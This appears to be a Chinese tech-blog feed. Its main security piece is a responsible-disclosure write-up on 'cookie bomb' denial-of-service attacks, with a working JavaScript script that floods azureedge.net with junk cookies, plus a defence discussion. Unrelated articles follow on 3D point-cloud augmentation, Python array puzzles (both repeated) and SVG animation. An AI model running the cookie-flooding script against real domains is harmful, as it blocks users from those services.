如果對 cookie 毫無概念的話,可以參考這篇:白話 Session 與 Cookie:從經營雜貨店開始。
簡單來說呢,一些網站可能會把某些資料存在瀏覽器裡面,而這些資料就稱之為 cookie。當瀏覽器對網站發送 request 的時候,會自動把之前儲存的 cookie 一併帶上去。
最常見的應用之一就是廣告追蹤,例如說我造訪 A 網站,然後 A 網站裡面有 GA(Google Analytics)的 script,因此 GA 寫了一個 id=abc 的 cookie。當使用者造訪 B 網站而且 B 網站也有裝 GA,此時瀏覽器送 request 給 GA 的時候,就會把這個 id=abc 帶上去,那 server 收到以後就會知道「又是這個人,他造訪了 A 網站跟 B 網站」,隨著使用者造訪的網站變多,就會更清楚知道他的喜好。
(附註:實際上的追蹤應該會更複雜,而且最近又有第三方 cookie 的問題,所以實作可能會不太一樣,這邊只是簡單舉例)
在寫入 cookie 的時候,有一個 domain 的選項可以設置,你只能往上寫不能往下寫。什麼意思呢,假設你在 abc.com
,你就只能寫 cookie 到 abc.com
。但如果你在 a.b.abc.com
,你可以寫入 a.b.abc.com
,也可以寫入 b.abc.com
,就連 abc.com
也可以。
所以你在 subdomain a.b.abc.com
對 root domain abc.com
寫入 cookie 之後,瀏覽器送去 abc.com
的 request 就會帶上你寫入的 cookie。
假設我的攻擊目標是 example.com
,那我只要找到任何 subdomain 或是網站中的某個頁面可以讓我寫 cookie 的話,我就可以自由自在地寫入我想要的 cookie。
舉例來說,假設有個頁面https://example.com/log?uid=abc
,造訪這個頁面之後,就會把 uid=abc
這一段寫到 cookie,那我只要把網址改成 ?uid=xxxxxxxxxx
,就可以把 xxxxxxxxxx
寫到 cookie 裡。
再舉個例子,假設有個部落格網站,每一個使用者都有一個獨特的 subdomain,例如說我的話就是 huliblog.example.com
,然後部落格可以客製化自己想要的 JS,那我就可以利用 JS 在 huliblog.example.com
對 examepl.com
寫入我想要的 cookie。
好了,那可以寫入任意 cookie 之後能幹嘛呢?
開始寫一堆垃圾 cookie 進去。
例如說 a1=o....*4000
之類的,就是寫一堆無意義的內容進去就好,這邊要特別注意的是一個 cookie 能寫的大小大概是 4kb,而我們最少需要兩個 cookie,也就是要能寫入 8kb 的資料,才能達成攻擊。
當你寫了這些 cookie 進去之後,回到主頁 https://example.com
時,根據 cookie 的特性,就會一起把這些垃圾 cookie 帶上去給 server 對吧?接下來就是見證奇蹟的時刻。
Server 並沒有顯示你平常會看到的頁面,而是回給你一個錯誤:431 Request Header Fields Too Large
。
在眾多 HTTP status code 裡面,有兩個 code 都跟 request 太大有關:
假設有個表單,你填了一百萬個字送到 server 去,就很可能會收到一個 413 Payload Too Large
的回應,就如同錯誤訊息所說的,payload 太大了,伺服器無法處理。
而 header 也是一樣的,當你的 cookie 太多時,requset header 中的 Cookie
會很大,大到伺服器無法處理,就會回一個 431 Request Header Fields Too Large
(不過根據實測,有些 server 可能會根據實作不同回覆不同的 code,像微軟就是回 400 bad request)。
因此我們只要能把使用者的 cookie 塞爆,就能讓他看到這個錯誤畫面,沒有辦法正常存取服務,這就是 cookie bomb,藉由一大堆 cookie 所引發的 DoS 攻擊。而背後的原理就是「瀏覽器造訪網頁時,會自動把相對應的 cookie 一起帶上去」。
Cookie bomb 這名詞最早的起源應該是 2014 年 1 月 18 日由 Egor Homakov 所發表的 Cookie Bomb or let's break the Internet.,但類似的攻擊手法在 2009 年就有出現過:How to use Google Analytics to DoS a client from some website
如同上面那段所說,假設我們現在發現一個網址 https://example.com/log?uid=abc
可以讓我們設置任意 cookie,接下來要做的事情就是:
https://example.com
,發現看不到內容,只能看到一片白或是錯誤訊息,攻擊成功這時候除非使用者換個瀏覽器或是 cookie 過期,又或者是自己去把 cookie 清掉,否則一直都會是這個狀態。
綜合以上所述,這個攻擊只能攻擊特定使用者,而且必須滿足兩個前提:
有關於實際的攻擊案例,可以參考:
再繼續針對攻擊面往下講以前,先來提一下防禦方式。
第一點就是不要相信使用者的輸入,例如說上面提到的那個例子:https://example.com/log?uid=abc
,不該把 abc
直接寫進 cookie 裡面,而是應該做個基本檢查,例如說格式或是長度之類的,就可以避免掉這類型的攻擊。
再來的話,當我提到可以從 subdomain 往 root domain 設 cookie 時,許多人應該都會想到一件事:「那共用的 subdomain 怎麼辦?」
例如說 GitHub Pages 這功能,每個人的 domain 都是 username.github.io ,那我不就可以用 cookie 炸彈,炸到所有的 GitHub Pages 嗎?只要在我自己的 subdomain 建一個惡意的 HTML,裡面有著設定 cookie 的 JS code,再來只要把這個頁面傳給任何人,他點擊之後就沒辦法訪問任何 *.github.io
的資源,因為都會被 server 拒絕。
這個假說看似是成立的,但其實有個前提要先成立,那就是:「使用者可以在 *.github.io
對 github.io
設置 cookie」。如果這個前提不成立,那 cookie bomb 就無法執行了。
事實上,像是這種「不想要共同的上層 domain 可以被設置 cookie」的需求其實不少,例如說 a.com.tw
如果可以設置 cookie 到 .com.tw
或是 .tw
的話,是不是一大堆不相關的網站都會共享到 cookie 了?這樣顯然是不合理的。
又或者是總統府的網站 https://www.president.gov.tw
,應該不會想被財政部的網站 https://www.mof.gov.tw
所影響,因此 .gov.tw
應該也要是一個不給設定 cookie 的 domain。
當瀏覽器在決定能不能對某個 domain 設置 cookie 時,會參照一個清單叫做 public suffix list,出現在上面的 domain,其 subdomain 都沒辦法直接設定該 domain 的 cookie。
例如說以下 domain 都在這份清單上:
所以前面舉的例子不成立了,因為我在 userA.github.io
的時候,沒辦法設置 github.io
的 cookie,所以無法執行 cookie bomb 攻擊。
關於 public suffix list,Heroku 有一篇文特別在介紹它的一些歷史沿革:Cookies and the Public Suffix List。
上面有講到兩個攻擊成立的前提:
如果想讓攻擊變得更容易成立,就可以針對這兩個前提去想說:
先針對第二點來講,如果可以利用快取污染(Cache poisoning)的話,就可以輕易達成。先簡單講一下什麼是 cache poisoning,簡單來說就是想辦法讓 cache server 存的 cache 是壞掉的那一份(例如說 431 status code 的那一份),這樣不只你,而是所有其他使用者都會因為 cache 的關係,拿到壞掉的檔案,看到同樣的錯誤訊息。
這樣的話,目標不需要點擊任何東西就會中招,而且攻擊對象就從一個人擴大成所有人。
其實第二點有個專有名詞:CPDoS(Cache Poisoned Denial of Service),而且因為是利用 cache 的關係,所以也沒有必要設置 cookie 了,用其他的 header 也行,不需要侷限在 cookie bomb。
更詳細的相關攻擊手法可以參考:https://cpdos.org/
而第一點「有沒有可能這個地方很好找?」就是我真正想提的。
在針對這點繼續往下之前,其實 cookie bomb 還有更多的攻擊面擴展,可以搭配其他的攻擊手法一起使用,相關的說明以及實際案例很推薦大家去看這個影片:HITCON CMT 2019 - The cookie monster in your browsers,裡面除了 cookie bomb 以外,也提到了其他 cookie 相關的特性。
這場演講裡面利用 cookie bomb 造成的 DoS 搭配其他手法的攻擊方式,真的很漂亮。
有什麼地方可以讓我們輕易設置 cookie,達成 cookie bomb 呢?有,那就是像之前所提過的共用的 subdomain,像是 *.github.io
這一種。
可是這種的不是都在 public suffix list 裡面了嗎?沒有辦法設置 cookie。
只要找到沒有在裡面的就好啦!
不過這其實也不是件容易的事情,因為你會發現你知道的服務幾乎都已經註冊了,例如說 GitHub、AmazonS3、Heroku 以及 Netlify 等等,都已經在上面了。
不過我有找到一個沒在上面的,那就是微軟提供的 Azure CDN:azureedge.net
不知道為什麼,但這個 domain 並不屬於 public suffix,所以如果我自己去建一個 CDN,就可以執行 cookie bomb。
我用來 demo 的程式碼如下,參考並改寫自這裡:
const domain = 'azureedge.net'
const cookieCount = 40
const cookieLength = 3000
const expireAfterMinute = 5
setCookieBomb()
function setCookie(key, value) {
const expires = new Date(+new Date() + expireAfterMinute * 60 * 1000);
document.cookie = key + '=' + value + '; path=/; domain=' + domain + '; Secure; SameSite=None; expires=' + expires.toUTCString()
}
function setCookieBomb() {
const value = 'Boring' + '_'.repeat(cookieLength)
for (let i=0; i<cookieCount; i++) {
setCookie('key' + i, value);
}
}
接著在 Azure 上面上傳檔案然後設置一下 CDN,就可以得到一個自訂的網址:https://hulitest2.azureedge.net/cookie.html (我的 azure 過期了,所以現在點進去應該會壞掉)
點了之後就會在 azureedge.net
上面設置一堆垃圾 cookie:
重新整理後,會發現網站真的不能存取了:
這就代表 cookie bomb 成功了。
所以只要是放在 azureedge.net 的資源,都會受到影響。
其實 AzureCDN 有自訂網域的功能,所以如果是自訂網域的話就不會受到影響。但有些網站並沒有使用自訂網域,而是直接使用了 azureedge.net 當作 URL。
大多數情況下,azureedge.net 都是拿來 host 一些資源,例如說 JS 以及 CSS 或者是圖片,我們可以隨便找一個把資源放在 azureedge.net 的網站來試試看攻擊是否有效。
一開始進去一切都很好,沒什麼問題,但是先造訪過 cookie bomb 那個網址後重新整理,發現整個網頁都跑板了,就是因為 cookie bomb 造成那些資源無法載入:
雖然說沒辦法讓整個網頁無法讀取,但大幅度跑版外加功能壞掉,基本上也是沒辦法使用了。
甚至連微軟自己的一些服務也會被這個攻擊影響,因為也把資源放在 azureedge.net 上面:
最好的防禦方式就是改用自訂網域,不要用預設的 azureedge.net,這樣就不會有 cookie bomb 的問題。但撇開自訂網域不談,其實 azureedge.net 應該去註冊 public suffix 才對,不讓使用者在這 domain 上面設置 cookie。
除了這兩種防禦方式之外,還有一種你可能沒想到的。
我們平常在引入資源的時候不是都這樣嗎:<script src="htps://test.azureedge.net/bundle.js"></script>
。
只要加一個屬性 crossorigin
,變成:<script src="htps://test.azureedge.net/bundle.js" crossorigin></script>
,就可以避免掉 cookie bomb 的攻擊。
這是因為原本的方法在發送 request 時會把 cookie 帶上去,但如果加上 crossorigin
改成用 cross origin 的方式去拿,預設就不會帶 cookie,所以就不會有 header too large 的狀況發生。
只是記得在 CDN 那邊也要調整一下,要確認 server 有加上 Access-Control-Allow-Origin
的 header,允許跨來源的資源請求。
以前我很困惑到底什麼情形需要加上 crossorigin
,現在我知道其中一種了,如果你不想把 cookie 一起帶上去的話,就可以加上 crossorigin
。
曾經在特定領域紅過,但被 Automattic 收購後便轉向的 Tumblr 有個特別的功能,那就是你可以在個人頁面自訂 CSS 與 JavaScript,而這個個人頁面的 domain 會是 userA.tumblr.com,而 tumblr.com 並沒有註冊在 public suffix 上,所以一樣會受 cookie bomb 的影響:
造訪這個網址:https://aszx87410.tumblr.com/ 之後重新整理或者是前往 Tumblr 首頁,就會發現無法存取(寫 cookie 的 JS 沒寫好,只在 Chrome 上有用,Firefox 不行):
2021-06-16 我在 HackerOne 上面回報了 Tumblr 的 cookie bomb 問題,隔天就收到回覆,對方回說:
this behavior does not pose a concrete and exploitable risk to the platform in and on itself, as this can be fixed by clearing the cache, and is more of a nuisance than a security vulnerability
對有些公司來說,如果只有 cookie bomb 的話造成的危害太小,而且第一受害者必須點那個網址,第二只要把 cookie 清掉就沒事,所以並不認可這是一個安全性的漏洞。
而微軟那邊則是在 2021-06-10 透過 MSRC 回報,大約兩週後 2021-06-22 收到回覆,對方說已經回報相關的團隊進行處理,但是這個問題並沒有達到 security update 的標準,之後修好也不會有通知。
後來寫信去問那能不能把這個問題當成範例寫在 blog,2021-06-30 收到回覆說 OK。
我以前關注的漏洞大多數都是像 SQL Injection 或是 XSS 那樣子的,能夠偷走使用者的資料,但前陣子突然發現 DoS 這類型的漏洞很多也都很有趣,尤其是應用層的 DoS,比如說這一篇提到的 cookie bomb,或者是利用 RegExp 達成的 ReDoS,還有 GraphQL 的 DoS 等等。
雖然說單純的 cookie bomb 如果沒有結合其他的攻擊手法,影響力十分有限,而且只要清掉 cookie 就沒事了,但我覺得還是一個挺有趣的攻擊,畢竟我本來就對 cookie 相關的東西都很感興趣(可能是因為以前有被殘害過)。
但其實這樣研究下來,除了覺得 cookie bomb 很有趣之外,還有個東西讓我收穫良多,眼界大開,就是前面貼的那個 HITCON CMT 2019 - The cookie monster in your browsers 影片中提到的利用 cookie bomb 結合其他攻擊手法。
在資安的領域中怎麼把不同的,看似很小的一些問題串在一起變成大問題,一直以來都是一門藝術。只有 cookie bomb 可能做不了什麼,但跟其他東西結合之後搞不好可以昇華出一個嚴重的漏洞。目前我個人學藝不精,沒辦法達到那種程度,但我相信有朝一日可以的。
總之呢,這篇文章就是跟大家稍微介紹一下 cookie bomb 的成因以及修復方式,如果你的服務會提供 subdomain 給使用者,記得評估一下是否需要去 public suffix list 上面註冊,避免 subdomain 寫 cookie 到 root domain,進而影響到所有的 subdomain。
]]>今天要來看一篇 3D point cloud data augmentation 的論文,裡面的概念雖然很簡單,但可以把現有的 model performance 再往上推,就讓我們開始吧。
2D 影像的物體偵測已經有很多 data augmentation 的方法,不過目前對於 3D object detection model 的相關方法還沒有太多研究,大多數人都是沿用 translation, random flipping, shifting, scaling and rotation 這些 2D 的方法。
但這麼做並沒有完全使用到 3D data 的特性,例如跟 2D image 比起來,3D bounding box 通常不會包含到背景的其他 noise,而且 3D bounding box 是有 parts 的 geometric features,例如車子的 3D bounding box 的四個角落通常就是輪子,所以如何利用這些 features 就是一個有趣的問題。
這篇論文把他們的方法簡稱為 PA-AUG(part-aware data augmentation),主要的概念就是把 ground truth bounding box 切成多份(在這篇論文中,他們把 pedestrian/clilist 都切成 4 parts,car 切成 8 parts),然後對每 part 都可以做獨立的 augmentation。
如此一來,就能做到更細緻的 augmentation。
然後關於每個 part 可以使用的 operation,總共有 5 種:
其中各個 operation 的操作都很簡單,數學上的表示我就不說明了,有興趣了解細節的話,可以直接去看論文。
最後,PA-AUG 只是把這 5 種 operation 都拿來用(唯一要注意的地方是,因為 operation 順序會影響結果,例如先加上 noise 才做 sparsify 有點不合理,所以他們使用的順序是 Dropout-Swap-Mix-Sparse-Noise)。
了解演算法之後,大家最好奇的應該就是,現有的一些 3D object detection 方法加上 PA-AUG 的表現會變得如何:
從上面的 table 中可以看出 PointPillars 跟 PV-RCNN 的表現在 Car/Cyclist 這兩類都是有進步的,雖然進步的幅度不大,但是這演算法相對簡單,也只是在 training 時有額外的計算,我覺得算是值得使用。
另外他們也有做 ablation study,順便加上 robustness 的測試,去了解各 operation 的優缺點,robustness 測試的做法是把 KITTI dataset 裡面的 point cloud 做一些預處理,讓這些 data 變得更糟,來測試各種 data augmentation operation 分別可以幫助哪種情況(KITTI-D 是把一部分的 point cloud 直接 drop out,KITTI-S 是把 point cloud 變得更 sparse,KITTI-J 是會把 points 做些擾動,讓 point cloud 更亂):
而結果如下:
實驗結果也滿符合直覺,例如使用 dropout 在 KITTI-D 的表現上就會比較好。
今天跟大家簡單介紹了 PA-AUG 這個 3D data augmentation 的演算法,方法簡單但有些幫助,如果有興趣使用的朋友可以點下面的延伸閱讀,直接參考他們的 code。
今天要來看一篇 3D point cloud data augmentation 的論文,裡面的概念雖然很簡單,但可以把現有的 model performance 再往上推,就讓我們開始吧。
2D 影像的物體偵測已經有很多 data augmentation 的方法,不過目前對於 3D object detection model 的相關方法還沒有太多研究,大多數人都是沿用 translation, random flipping, shifting, scaling and rotation 這些 2D 的方法。
但這麼做並沒有完全使用到 3D data 的特性,例如跟 2D image 比起來,3D bounding box 通常不會包含到背景的其他 noise,而且 3D bounding box 是有 parts 的 geometric features,例如車子的 3D bounding box 的四個角落通常就是輪子,所以如何利用這些 features 就是一個有趣的問題。
這篇論文把他們的方法簡稱為 PA-AUG(part-aware data augmentation),主要的概念就是把 ground truth bounding box 切成多份(在這篇論文中,他們把 pedestrian/clilist 都切成 4 parts,car 切成 8 parts),然後對每 part 都可以做獨立的 augmentation。
如此一來,就能做到更細緻的 augmentation。
然後關於每個 part 可以使用的 operation,總共有 5 種:
其中各個 operation 的操作都很簡單,數學上的表示我就不說明了,有興趣了解細節的話,可以直接去看論文。
最後,PA-AUG 只是把這 5 種 operation 都拿來用(唯一要注意的地方是,因為 operation 順序會影響結果,例如先加上 noise 才做 sparsify 有點不合理,所以他們使用的順序是 Dropout-Swap-Mix-Sparse-Noise)。
了解演算法之後,大家最好奇的應該就是,現有的一些 3D object detection 方法加上 PA-AUG 的表現會變得如何:
從上面的 table 中可以看出 PointPillars 跟 PV-RCNN 的表現在 Car/Cyclist 這兩類都是有進步的,雖然進步的幅度不大,但是這演算法相對簡單,也只是在 training 時有額外的計算,我覺得算是值得使用。
另外他們也有做 ablation study,順便加上 robustness 的測試,去了解各 operation 的優缺點,robustness 測試的做法是把 KITTI dataset 裡面的 point cloud 做一些預處理,讓這些 data 變得更糟,來測試各種 data augmentation operation 分別可以幫助哪種情況(KITTI-D 是把一部分的 point cloud 直接 drop out,KITTI-S 是把 point cloud 變得更 sparse,KITTI-J 是會把 points 做些擾動,讓 point cloud 更亂):
而結果如下:
實驗結果也滿符合直覺,例如使用 dropout 在 KITTI-D 的表現上就會比較好。
今天跟大家簡單介紹了 PA-AUG 這個 3D data augmentation 的演算法,方法簡單但有些幫助,如果有興趣使用的朋友可以點下面的延伸閱讀,直接參考他們的 code。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Single Number
Given a non-empty
array of integers nums, every element appears twice except for one. Find that single one.
You must implement a solution with a linear runtime complexity and use only constant extra space.
Example 1:
Input: nums = [2,2,1]
Output: 1
Example 2:
Input: nums = [4,1,2,1,2]
Output: 4
Example 3:
Input: nums = [1]
Output: 1
Constraints:
1 <= nums.length <= 3 * 104
-3 * 104 <= nums[i] <= 3 * 104
Each element in the array appears twice except for one element which appears only once.
本題考驗主要給定一個非空陣列,希望找出只出現一個的某個元素,其餘元素皆出現兩次。
Solution
參考方法一:排序兩兩比較法
透過排序後元素以兩個為單位兩兩比較,直到出現不相等的元素,若最後剩下一個單個元素則最後一個元素為唯一值。
範例程式碼:
class Solution:
def singleNumber(self, nums: List[int]) -> int:
# 事先排序
nums.sort()
nums_length = len(nums)
# 當輸入長度小於 3 則取首個元素
if nums_length < 3:
return nums[0]
index = 0
# 排序後鄰近元素兩兩比較看是否有不同,若有則為唯一值
while index < nums_length - 2:
if nums[index] != nums[index + 1]:
return nums[index]
else:
# 以兩個單位往後移動
index += 2
# 最後一個元素
return nums[-1]
參考方法二:集合交叉比對法
利用集合特性,將排序後的列表透過 Python 串列切片的方式將元素平均分為奇偶索引數列,取兩個集合的差即可得到單一個元素(其餘皆有重複值)。
class Solution:
def singleNumber(self, nums: List[int]) -> int:
# 事先排序
nums.sort()
# 奇數索引串列和偶數索引串列轉為集合後取差集
single_num_set = set(nums[::2]) - set(nums[1::2])
# 將 set 轉為 list 取出第一個元素
return list(single_num_set)[0]
Problem: Plus One
Given a non-empty
array of decimal digits representing a non-negative integer, increment one to the integer.
The digits are stored such that the most significant digit is at the head of the list, and each element in the array contains a single digit.
You may assume the integer does not contain any leading zero, except the number 0
itself.
Example 1:
Input: digits = [1,2,3]
Output: [1,2,4]
Explanation: The array represents the integer 123.
Example 2:
Input: digits = [4,3,2,1]
Output: [4,3,2,2]
Explanation: The array represents the integer 4321.
Example 3:
Input: digits = [0]
Output: [1]
Constraints:
1 <= digits.length <= 100
0 <= digits[i] <= 9
本題為給定一個非空陣列,代表一個非負數值,每一個陣列元素代表整數中一個一個位數,目標為取得在該基礎上加一後結果值。
Solution
參考方法一:轉換數字加一
將問題簡化為簡單的數學問題,先將列表的每一個位數組合成完整數字後加一,再分割回整數串列。
class Solution:
def plusOne(self, digits: List[int]) -> List[int]:
digits = [str(digit) for digit in digits]
# 將串列位數組成整數
num = int(''.join(digits))
# 整數加一
num += 1
# 將整數轉為字串後分割為位數串列
plus_digits = [int(digit) for digit in list(str(num))]
return plus_digits
參考方法二:顛倒順序法加一
由於反轉後再加一可以簡化問題,所以將列表進行反轉後加一並處理進位問題,再回復為整數串列。
class Solution:
def plusOne(self, digits: List[int]) -> List[int]:
digits.reverse()
# 確認是否進位
flag = True
# 逐一判斷位數是否為 9,若是則需要進位否則單純累加一
for index in range(len(digits)):
if flag == True:
if digits[index] == 9:
digits[index] = 0
else:
digits[index] += 1
flag = False
# 若尾數為零代表需要進位
if digits[-1] == 0:
digits.append(1)
# 回復原方向
digits.reverse()
return digits
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式、資料型別結構和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Single Number
Given a non-empty
array of integers nums, every element appears twice except for one. Find that single one.
You must implement a solution with a linear runtime complexity and use only constant extra space.
Example 1:
Input: nums = [2,2,1]
Output: 1
Example 2:
Input: nums = [4,1,2,1,2]
Output: 4
Example 3:
Input: nums = [1]
Output: 1
Constraints:
1 <= nums.length <= 3 * 104
-3 * 104 <= nums[i] <= 3 * 104
Each element in the array appears twice except for one element which appears only once.
本題考驗主要給定一個非空陣列,希望找出只出現一個的某個元素,其餘元素皆出現兩次。
Solution
參考方法一:排序兩兩比較法
透過排序後元素以兩個為單位兩兩比較,直到出現不相等的元素,若最後剩下一個單個元素則最後一個元素為唯一值。
範例程式碼:
class Solution:
def singleNumber(self, nums: List[int]) -> int:
# 事先排序
nums.sort()
nums_length = len(nums)
# 當輸入長度小於 3 則取首個元素
if nums_length < 3:
return nums[0]
index = 0
# 排序後鄰近元素兩兩比較看是否有不同,若有則為唯一值
while index < nums_length - 2:
if nums[index] != nums[index + 1]:
return nums[index]
else:
# 以兩個單位往後移動
index += 2
# 最後一個元素
return nums[-1]
參考方法二:集合交叉比對法
利用集合特性,將排序後的列表透過 Python 串列切片的方式將元素平均分為奇偶索引數列,取兩個集合的差即可得到單一個元素(其餘皆有重複值)。
class Solution:
def singleNumber(self, nums: List[int]) -> int:
# 事先排序
nums.sort()
# 奇數索引串列和偶數索引串列轉為集合後取差集
single_num_set = set(nums[::2]) - set(nums[1::2])
# 將 set 轉為 list 取出第一個元素
return list(single_num_set)[0]
Problem: Plus One
Given a non-empty
array of decimal digits representing a non-negative integer, increment one to the integer.
The digits are stored such that the most significant digit is at the head of the list, and each element in the array contains a single digit.
You may assume the integer does not contain any leading zero, except the number 0
itself.
Example 1:
Input: digits = [1,2,3]
Output: [1,2,4]
Explanation: The array represents the integer 123.
Example 2:
Input: digits = [4,3,2,1]
Output: [4,3,2,2]
Explanation: The array represents the integer 4321.
Example 3:
Input: digits = [0]
Output: [1]
Constraints:
1 <= digits.length <= 100
0 <= digits[i] <= 9
本題為給定一個非空陣列,代表一個非負數值,每一個陣列元素代表整數中一個一個位數,目標為取得在該基礎上加一後結果值。
Solution
參考方法一:轉換數字加一
將問題簡化為簡單的數學問題,先將列表的每一個位數組合成完整數字後加一,再分割回整數串列。
class Solution:
def plusOne(self, digits: List[int]) -> List[int]:
digits = [str(digit) for digit in digits]
# 將串列位數組成整數
num = int(''.join(digits))
# 整數加一
num += 1
# 將整數轉為字串後分割為位數串列
plus_digits = [int(digit) for digit in list(str(num))]
return plus_digits
參考方法二:顛倒順序法加一
由於反轉後再加一可以簡化問題,所以將列表進行反轉後加一並處理進位問題,再回復為整數串列。
class Solution:
def plusOne(self, digits: List[int]) -> List[int]:
digits.reverse()
# 確認是否進位
flag = True
# 逐一判斷位數是否為 9,若是則需要進位否則單純累加一
for index in range(len(digits)):
if flag == True:
if digits[index] == 9:
digits[index] = 0
else:
digits[index] += 1
flag = False
# 若尾數為零代表需要進位
if digits[-1] == 0:
digits.append(1)
# 回復原方向
digits.reverse()
return digits
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式、資料型別結構和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
前幾個禮拜看到 jotai 的作者推文提到 jotai 的 logo 用了 animateTransform
來製作動畫(不知道 jotai 的可以看這篇 - Jōtai 介紹):
If you are not familiar with SVG animation, check this out. jotai https://t.co/Zadia8oug7 👻 logo is using <animateTransform>. pic.twitter.com/vll2SU5f16
— Daishi Kato (@dai_shi) June 6, 2021
(要等一會兒才會出現...如果沒有,可能是 cache 問題,可以點此開新頁查看。)
svg 檔案會動不稀奇,像是十分鐘、五步驟,SVG 動起來!中介紹的,透過第三方套件可以很容易達成,或是用一些繪圖、動畫工具也行,例如:SVGator,不過這些都得搭配 JavaScript,然而簡單的動畫只要利用 SVG 支援的語法即可達成!
今天就一起來了解一下,怎麼在不靠其它套件的狀況下,單純的製作 SVG 動畫。
能讓 SVG 不靠 JavaScript 與 CSS 就能動起來是因為使用了 SMIL(Synchronized Multimedia Integration Language),音同 smile,是 W3C 的標準之一,旨在以 XML 格式提供多媒體的交互表現(白話點其實就是動畫),是 Web 上動畫的開路先鋒,啟發了 Web animation 與 CSS animation。SVG 與 SMIL 的開發團隊合作,讓 SVG 能利用 SMIL 達到如下效果:
offset-path
光是這些特性就夠我們組合出很多種的動畫了,還不需要 JavaScript 與 CSS 的輔助。
使用方法也不難,只要在 SVG 元素內置入以下四種元素即可操作動畫:
<set>
<animate>
<animateTransform>
<animateMotion>
接著我們針對這四種元素一一介紹。
不過在開始前,有個小插曲值得一提。
SMIL 這個標準其實在 2015 年的時候差點被廢除,因為使用人數少,支援的主流瀏覽器也不多,所以 chromium 工程師本來想要 deprecate 它,順勢推廣 Web animation 與 CSS animation,但在消息公布後,收到了社群很多人的回饋,最終決定暫停廢除計劃,也因此我們到現在都還能使用 SVG SMIL animation,主流瀏覽器也都支援了,使用者也從 0.04% 上升到 1% 以上。
有興趣的讀者可以回追一下這串討論。
利用 <set>
元素你能夠指定在一段時間後,改變 svg 的一個屬性,例如 2 秒後將 Rick 的眼睛變成往下看:
疑?你說他本來就是往下看的?
那是因為 set
不會重複執行,從你載入這篇文章到看到這個位置為止,相信已經超過 2 秒,所以已經是執行後的結果,建議你按右鍵 -> "在新分頁中開啟圖片",實際體驗一下,再不然看看下面的 gif 也行:
相關程式碼如下:
<circle cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
<set attributeName="cy" to="105.7318" begin="2s" />
</circle>
將 <set>
元素放在你想要套用效果的 svg shape 內即可。
attributeName
指定你要更動的屬性;to
代表變化值;begin
代表從載入後的什麼時候開始執行。
除了 attributeName
外,有另一個參數叫 attributeType
,用來告訴瀏覽器你要動畫化的屬性值是屬於 XML
(e.g. cy
),還是 CSS
(e.g. opacity
),不指定的話,瀏覽器會自己猜。不過呢,這個參數也已經 deprecated 了,所以實際上我們不再需要它。
<animate>
元素讓你能針對單一屬性變化套用動畫補間效果。用法一樣是放在你想要套用效果的 svg shape 內:
<circle cx="56.7573" cy="92.8179" r="2" fill="black" stroke="black" stroke-width="1">
<animate
attributeName="cx" from="56.7573" to="64.7573"
dur="2s" repeatCount="indefinite" />
</circle>
與 <set>
相比,多了 from
屬性來指定要從哪個值開始做變化,dur
指定動畫的執行時間,repeatCount
指定要重複幾次,這邊我們設定 indefinite
讓他無限重播(若看不到效果請以分頁開新圖片):
利用 animate
,讓 Rick 的眼睛向右看。
也可以用來改變顏色:
也因為可以用來改變顏色,所以本來有個 <animateColor>
元素就被取代掉了,現在已經 deprecated 了。
<animateTransform>
可以用來控制 transform
屬性,用 animate
無法做到。跟 CSS 中的 transform 一樣,可以控制 translation、scaling、rotation 跟 skewing。
可以讓 Rick 頭轉起來,看起來頗ㄎㄧㄤ LOL
(註:經實測,animateTransform 在手機上似乎不支援,請用桌面版瀏覽器查看此範例)
<animateTransform attributeName="transform"
type="rotate"
from="0 0 0" to="360 0 0"
begin="0s" dur="10s"
repeatCount="indefinite"
/>
如上面所述,要控制 transform
屬性,所以 attributeName="transform"
,接著 type
參數就看你想要 transform 的類型是什麼,rotate
、scale
都可以。其餘 from
、to
、begin
、dur
等參數都與之前的相同,用來指定動畫的起始終點值、時間長度與執行次數。
最後一個元素,animateMotion
,讓 svg 沿著軌跡 path
移動(若看不到效果請以分頁開新圖片):
<!--軌跡-->
<path d="M10,50 q60,50 100,0 q60,-50 100,0" stroke="black" stroke-width="2" />
<g>
<!-- Rick 飛船 svg-->
<animateMotion
path="M10,50 q60,50 100,0 q60,-50 100,0"
begin="0s" dur="10s" repeatCount="indefinite"
/>
</g>
上述程式碼內的 <path>
只是為了讓大家看清楚路徑與實際動畫的軌跡無關,實際使用上只要給定 animateMotion
一條 path
屬性值,包含 animateMotion
元素的 svg 就會跟著該路徑移動。
